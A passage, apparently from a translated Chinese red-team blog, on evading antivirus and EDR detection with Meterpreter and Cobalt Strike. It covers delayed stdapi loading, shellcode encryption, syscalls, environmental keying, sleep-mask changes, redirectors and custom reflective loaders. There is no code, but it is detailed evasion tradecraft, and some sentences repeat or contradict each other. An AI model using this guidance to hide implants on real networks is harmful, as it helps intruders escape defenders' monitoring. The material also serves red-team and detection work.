這樣,你就應該可以很好地接收Meterpreter Session:

13.JPG

然而,禁用stdapi加載將導致你的Meterpreter-Session中幾乎沒有命令/模塊,只有“內核命令”可用。

等待幾分鐘後,你可以使用以下命令手動加載stdapi,但仍應沒有檢測:

14.JPG

這種基於行為的檢測是關於什麼的?我不能百分之百地肯定,但很可能是以下因素的組合:

1.新生成的進程;

2.在調用用於反射加載DLL的特定Windows API之前,新進程的時間框架x;

3.內存掃描,用於驗證惡意內容;

4.內存中Meterpreter的檢測和終止進程的操作。

注意:這是繞過Meterpeter防禦行為檢測的唯一可能方法。

如上所述,繞過內存掃描的一個通用方法是修改源代碼以避免內存中的簽名。繞過內存掃描的一個通用方法是修改源代碼以避免內存中的簽名,因此修改源代碼是另一種選擇,Meterpreter源代碼混淆的自動化方法可以點擊這裡。這樣做之後,就能夠在啟用autostdapi-Loading的情況下避免這種檢測。

第三種方法是內存加密,這對於Meterpreter來說並不容易實現,因為在請求命令之前,HTTP/HTTPS源代碼不像許多其他c2框架那樣在時間框架x上休眠。它只是拋出許多HTTP(S)請求,其間有一些小延遲。所以內存加密會中斷這個過程。如果你使用這個方法,那麼你需要在源代碼中自己集成一個帶有內存加密的自定義Sleep-function。

Cobalt Strike檢測Cobalt Strike很可能是最複雜、分析最深入的C2框架。這很可能是因為在過去幾年裡,它被許多不同的攻擊組織在野外使用。不更改默認設置在大多數環境中是不可用的,因為這會立即被檢測到。

即使使用自定義的打包器/加載器和系統調用來執行Shellcode,在許多環境中仍然會失敗。因此,我會解釋作為操作員在使用此框架時需要做的最低要求和修改。

C2服務器/基礎設施最低要求:

1.禁用Malleable配置文件中的分段,如果啟用了該功能,你的植入程序幾乎會立即被終止,因為有許多Internet範圍內的自動掃描器下載第二階段來分析和共享它。

2.你必須使用帶有許多不同重要繞過設置的自定義Malleable C2-Profile來繞過一些檢測。

3.必須在C2服務器前面使用重定向器。此重定向程序應釋放/阻止已知的沙盒分析IP範圍,並且僅允許和重定向那些符合Malleable C2配置文件的請求。 RedWarden或RedGuard是實現此流程自動化的最佳工具。使用它還可以避免在第一次連接後對Cobalt Strike服務器進行指紋識別和檢測。

植入程序的最低要求:

1.使用加密/混淆和運行時解密/反混淆打包Shellcode。如果你不這樣做,加載器將在磁盤或內存中被簽名標記(取決於加載方式);

2.使用直接或間接的系統調用來執行CS-Shellcode或從內存加載工件。如果不這樣做,在大多數環境中都會導致即時檢測,因為Shellcode始終具有相同的IoC,並且很容易被AV/EDR掛鉤檢測到。

3.使用環境鍵控(environmental keying)繞過潛在的沙盒或自動EDR雲提交分析。

4.你必須通過有關工具包修改Cobalt Strike中的默認睡眠掩碼模板。如果在Malleable C2 Profile中啟用,信標將加密堆和堆棧內存,以在成功執行後從內存掃描程序中隱藏自身。但由於這個默認的睡眠掩碼源代碼本身也被AV/EDR簽名嚴重攻擊,因此也會被內存掃描器標記。你不應該使用任何未修改的公共Github睡眠加密代碼,因為這也會被標記。

所有這些(除了睡眠掩碼的修改)都可以通過一個完全自定義的打包器/加載器或使用有關工具包(Arsenal Kit)來完成,Arsenal Kit已經提供了很多模板代碼。如果你打算使用Arsenal Kit,那麼你必須熟悉C/C++,並對模板代碼進行大量自定義,以繞過檢測。

睡眠掩碼的修改也適用於原始的Shellcode輸出,所以當你使用自己的自定義加載器時,你甚至可以在Arsenal Kit中對其進行修改。不過通過上述修改,Microsoft Defender for Endpoint 在我的測試中仍然檢測到許多惡意行為。

注:即使你應用了上述所有要求,你的植入程序仍然可以在成熟環境中檢測到。根據目標環境中使用的EDR,這是不夠的。仍然存在一些問題:

如果你收到信標連接,別以為你能夠發現什麼。在許多環境中,我都能夠讓Beacon運行,但在發出一個命令/模塊後,植入程序立即被檢測到並終止。正如我所說,CS很可能是目前最複雜的框架,看看這些yara規則,你會發現,供應商確實為每個命令/模塊實現了檢測規則。這些基於行為的檢測使我個人只能使用Cobalt Strike啟動反向Socks Connection,而不能避免本地系統IoC,通過Socks在網絡上完成所有事情。因此,在我的許多項目中,Cobalt Strike或多或少成為了一個獨立的socks5反向代理程序。

對於自動AV/EDR分析,一個簡單的內存加密可能就可以了,但在這種情況下,你需要避免更多的IoC,如RWX/RX內存權限,你不能使用Win32 Sleep,因為這很容易被檢測。

在某些環境中,我的Beacon/Process甚至在回調之前就被檢測到。說實話,我不知道這些監測是乾什麼的,說實話,我也不知道如何繞過他們。

一些更有經驗的Cobalt Strike用戶向我暗示,用戶定義的反射加載器(UDRL)幾乎有無限的可能性,比如TitanLdr。在成熟的環境中,通過可塑配置文件選項來調整Cobalt Strike行為是不夠的。例如,內核將始終使用Win32 API(具有潛在的檢測功能),而不是直接使用Syscall。直到有人將系統調用選項與更新集成。但使用UDRL,你還可以使用導入地址表掛鉤修改所有Cobalt Strike 內核行為。例如,你可以將內核的Hook VirtualProtect設置為NtProtectVirtualMemory。

因此,由於CS內核本身的局限性,它可能是堅持使用UDRL的最隱蔽的方式,而不是使用自定義打包器/加載器或經過修改的Arsenal Kit。

對我個人來說,這已經不是一個選擇了。掛鉤IAT修改一個閉源程序的內核,只是為了繞過基於行為的檢測。在某種程度上,我決定至少在這一刻不會為了讓這個框架的c2連接運行而越來越深入地研究Windows內部。在一年的時間裡,我只開發了很少的沒有檢測的環境和一些有反向Socks代理的環境,我決定使用其他框架。以前沒有CS我也很好,將來也會很好。

真的需要這些繞過技巧嗎?我認為不需要,所有這些繞過技術最終只是用來繞過簽名。

如果你使用的是自己生成的Shellcode,你可以選擇再次堅持使用Win32 API。 WriteProcessMemory或CreateThread將導致對輸入參數的檢測和對Shellcode入口點的分析。但如果沒有已知的惡意簽名,它將正常運行,不會被阻止。

如果你正在使用內部工具或經過大量修改的開放源代碼,AMSI將永遠不會發現你,因為它正在搜索已知的簽名。

如果你使用的是一個混淆的開源C2框架,或者是一個自己開發的框架,內存掃描不會發現你。